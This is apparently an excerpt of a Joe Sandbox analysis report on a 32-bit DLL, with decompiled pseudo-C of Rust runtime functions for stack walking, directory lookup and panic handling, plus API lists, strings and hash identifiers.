				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EDB39E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EDBE9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6edef8cc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EDC9A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EDC9470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6edf06e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EDB0D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6edfe128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6edfe128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6edfe128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6edefdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edef570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = L6EDA2150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6edfe128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6edefde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EDBE9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EDBC5AE();
						_t217 = E6EDAE4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6edfe148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6edfe130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EDC94E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edf0ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6edfe148 = _t218;
									_t267 =  *0x6edfe14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6edfe14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6edfe158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EDBE9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6EDAE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6edfe130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EDBE9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6edfe144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6edfe130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EDC94E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edf0ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6edfe144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6EDAE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6edfe158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6edfe130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EDC94E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edf0ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6EDAE6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6edfe14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6edfe128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6edefe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edef570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = L6EDA2150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

0x6edadd33
0x6edadd34
0x6edadd35
0x6edadd39
0x6edadd3f
0x6edadd41
0x6edadd47
0x6edadd4d
0x6edadd57
0x6edadd71
0x6edadd77
0x6edadd7e
0x6edadd80
0x6edadd83
0x6edadd94
0x6edadd99
0x6edadd9c
0x6edadda1
0x6edadda6
0x6edaddad
0x6edaddb0
0x6edaddb7
0x6edaddba
0x6edaddc7
0x6edaddca
0x6edadde6
0x6edadde6
0x6edaddec
0x6edaddf0
0x6edaddf2
0x6edaddf4
0x6edaddfe
0x6edade02
0x6edade07
0x6edade0d
0x6edade0d
0x6edade10
0x6edade13
0x6edade16
0x6edade19
0x6edade1c
0x6edade1f
0x6edaddcc
0x6edade30
0x6edade30
0x6edade36
0x6edade3d
0x6edade3d
0x6edade40
0x6edade42
0x6edade4a
0x6edade50
0x6edade54
0x6edade62
0x6edaddd0
0x6edaddd3
0x6edaddd5
0x6edade8d
0x6edade90
0x6edade9a
0x6edade9c
0x6edae3b8
0x00000000
0x6edadea2
0x6edadea2
0x6edadea5
0x6edadea8
0x6edadea9
0x6edadeae
0x6edadeb4
0x6edadeb9
0x6edadebb
0x6edadebe
0x6edadec3
0x6edadec6
0x6edadec8
0x00000000
0x00000000
0x6edadeca
0x00000000
0x6edadec8
0x6edadddb
0x6edadddb
0x6edadde1
0x6edadde4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edadde4
0x6edade77
0x6edade7a
0x6edade82
0x6edade85
0x00000000
0x6edade8b
0x00000000
0x6edade8b
0x00000000
0x6edade85
0x6edadecc
0x6edadecc
0x6edaded2
0x6edaded4
0x6edaded7
0x6edadede
0x6edadee1
0x6edadee3
0x6edadee5
0x6edadee5
0x6edadee9
0x6edadeeb
0x6edadef0
0x6edadefd
0x6edadefd
0x6edadef0
0x6edadee9
0x6edadf02
0x6edadf02
0x6edadf04
0x6edadf6e
0x6edadf71
0x6edadf74
0x6edadf77
0x6edadf7a
0x6edadf06
0x6edadf06
0x6edadf0a
0x6edadf0c
0x6edadf11
0x6edadf17
0x6edadf22
0x6edadf24
0x6edadf27
0x6edadf2a
0x6edadf2d
0x6edadf31
0x6edadf33
0x6edadf35
0x6edadf39
0x6edadf3b
0x6edadf3b
0x6edadf47
0x6edadf4c
0x6edadf4c
0x6edadf58
0x6edadf58
0x6edadf5d
0x6edadf60
0x6edadf62
0x6edadf62
0x6edadf84
0x6edadf87
0x6edadf8d
0x6edadf90
0x6edadf93
0x6edadf9d
0x6edadfa7
0x6edadfb1
0x6edadfbb
0x6edadfc8
0x6edadfd1
0x6edadfd2
0x6edadfd7
0x6edadfda
0x6edadfdc
0x6edae255
0x6edae255
0x6edae258
0x6edae25a
0x6edae25c
0x6edae260
0x6edae26b
0x6edae26b
0x6edae260
0x6edae270
0x00000000
0x6edadfe2
0x6edadfe2
0x6edadfe8
0x6edadfef
0x6edadff3
0x6edadff6
0x6edadffd
0x6edadfff
0x6edae008
0x6edae00e
0x6edae011
0x6edae018
0x6edae01c
0x6edae022
0x6edae028
0x6edae02e
0x6edae036
0x6edae03f
0x6edae049
0x6edae050
0x6edae055
0x6edae058
0x6edae059
0x6edae05e
0x6edae063
0x6edae065
0x6edae076
0x6edae07c
0x6edae07f
0x6edae081
0x6edae09a
0x6edae0a0
0x6edae0a2
0x6edae3e5
0x6edae3fe
0x00000000
0x6edae0a8
0x6edae0a8
0x6edae0aa
0x6edae0af
0x6edae0b5
0x6edae0b7
0x00000000
0x00000000
0x00000000
0x00000000
0x6edae0b7
0x6edae083
0x6edae083
0x6edae089
0x6edae08b
0x6edae0d9
0x6edae0de
0x6edae0e1
0x6edae0e6
0x6edae0e9
0x6edae0ec
0x6edae0ee
0x6edae10e
0x6edae10e
0x6edae117
0x6edae11e
0x6edae12d
0x6edae132
0x6edae147
0x6edae14e
0x6edae151
0x6edae15b
0x6edae161
0x6edae16b
0x6edae175
0x6edae17b
0x6edae185
0x6edae190
0x6edae1ae
0x6edae1b1
0x6edae1b4
0x00000000
0x00000000
0x6edae1c6
0x6edae1cc
0x6edae1d6
0x6edae1db
0x6edae1de
0x6edae1e1
0x6edae1e3
0x00000000
0x00000000
0x00000000
0x6edae1e3
0x00000000
0x6edae0f0
0x6edae0fb
0x6edae101
0x6edae103
0x6edae2b4
0x6edae2b9
0x6edae2ce
0x6edae2d5
0x6edae2dc
0x6edae2e6
0x6edae2ed
0x6edae2f0
0x6edae2fa
0x6edae300
0x6edae30a
0x6edae314
0x6edae31a
0x6edae324
0x6edae330
0x6edae330
0x6edae336
0x6edae338
0x6edae356
0x6edae372
0x6edae374
0x6edae377
0x6edae1e5
0x6edae1e8
0x6edae1ed
0x6edae1f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edae33a
0x6edae345
0x6edae34b
0x6edae34d
0x6edae3c2
0x6edae3db
0x00000000
0x6edae34f
0x6edae34f
0x6edae351
0x00000000
0x6edae351
0x6edae34d
0x00000000
0x6edae37d
0x6edae38d
0x6edae393
0x6edae39d
0x6edae3a2
0x6edae3a5
0x6edae3a8
0x6edae3a8
0x00000000
0x6edae109
0x6edae109
0x00000000
0x6edae109
0x6edae103
0x6edae08d
0x6edae0b9
0x6edae0c4
0x6edae0ca
0x6edae0cc
0x6edae408
0x6edae421
0x6edae429
0x6edae429
0x6edae430
0x6edae44c
0x6edae0d2
0x6edae0d2
0x6edae0d4
0x00000000
0x6edae0d4
0x6edae0cc
0x6edae08b
0x6edae067
0x6edae067
0x6edae06b
0x00000000
0x6edae071
0x6edae1f3
0x6edae1f3
0x6edae1f7
0x6edae287
0x6edae287
0x6edae28a
0x6edae28c
0x6edae28e
0x6edae292
0x6edae29d
0x6edae29d
0x6edae292
0x6edae2a2
0x6edae1fd
0x6edae200
0x6edae20a
0x6edae214
0x6edae21e
0x6edae228
0x6edae232
0x6edae248
0x6edae249
0x6edae251
0x6edae253
0x00000000
0x00000000
0x00000000
0x00000000
0x6edae253
0x6edae1f7
0x6edae272
0x6edae278
0x6edae286
0x6edae286
0x6edae065
0x6edadfdc
0x00000000

APIs

SetLastError.KERNEL32(00000000), ref: 6EDADE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6EDADE4A
GetLastError.KERNEL32 ref: 6EDADE56
GetLastError.KERNEL32 ref: 6EDADE68
GetLastError.KERNEL32 ref: 6EDADECC
HeapFree.KERNEL32(00000000,00000000), ref: 6EDADEFD
HeapFree.KERNEL32(00000000,?), ref: 6EDADF47
HeapFree.KERNEL32(00000000,?), ref: 6EDADF58
GetCurrentProcess.KERNEL32(?), ref: 6EDAE031
GetCurrentThread.KERNEL32 ref: 6EDAE039
RtlCaptureContext.KERNEL32(?), ref: 6EDAE059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6EDAE09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6EDAE0C4
GetCurrentProcess.KERNEL32 ref: 6EDAE0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6EDAE0FB
ReleaseMutex.KERNEL32(?), ref: 6EDAE1E8
HeapFree.KERNEL32(00000000,?), ref: 6EDAE26B
HeapFree.KERNEL32(00000000,?,?), ref: 6EDAE29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6EDAE345

Strings

StackWalk64, xrefs: 6EDAE33A
StackWalkEx, xrefs: 6EDAE0F0
SymFunctionTableAccess64, xrefs: 6EDAE08F
SymGetModuleBase64, xrefs: 6EDAE0B9
called `Option::unwrap()` on a `None` value, xrefs: 6EDAE3CC, 6EDAE3EF, 6EDAE412

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: b8374127ea3b4244152035adecc8aab59f468db32060ee1a1ea8c7afb6cdc79f
Instruction ID: b3a764f2f85901f58eb3aa5616bd40005037f0dae2c6d9a169c9683abe56253f
Opcode Fuzzy Hash: b8374127ea3b4244152035adecc8aab59f468db32060ee1a1ea8c7afb6cdc79f
Instruction Fuzzy Hash: 601216B0600B00DFE761CFA9C894B97BBF5BB49708F00491DDAAA87690E771F549CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EDAC700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = 0x6edb39a0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6edfe120], esi");
				_t190 = E6EDAD000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EDC95A0(_t264,  &M6EDEF8F7, 0x46, _t337,  &_v68, 0x6edef870, 0x6edef9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edef570;
						_v120 = 0x6edef824;
						_v68 = 0x6edf0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDA2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6EDAD0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6edfe128, 0, _t256);
							}
							_t194 = HeapFree( *0x6edfe128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6edf0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edef570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6EDAD0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6edfe11c);
					_v144 = 0x6edfe11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6EDAD000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6edfe110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6EDAD380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EDC95A0(_t264,  &M6EDEF8F7, 0x46, _t340,  &_v68, 0x6edef870, 0x6edef9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6edfd044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6edfd044;
							_t202 = L6EDB2960(_t264, 0x6edfd044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6edfd044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6edfd044;
								_t203 = L6EDB2960(_t264, 0x6edfd044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6edfe128; // 0xd10000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6edfd044;
										_t332 = _t205;
										_t206 =  *0x6edfd044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = L6EDB2960(_t264, 0x6edfd044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EDC92F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6edfe128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
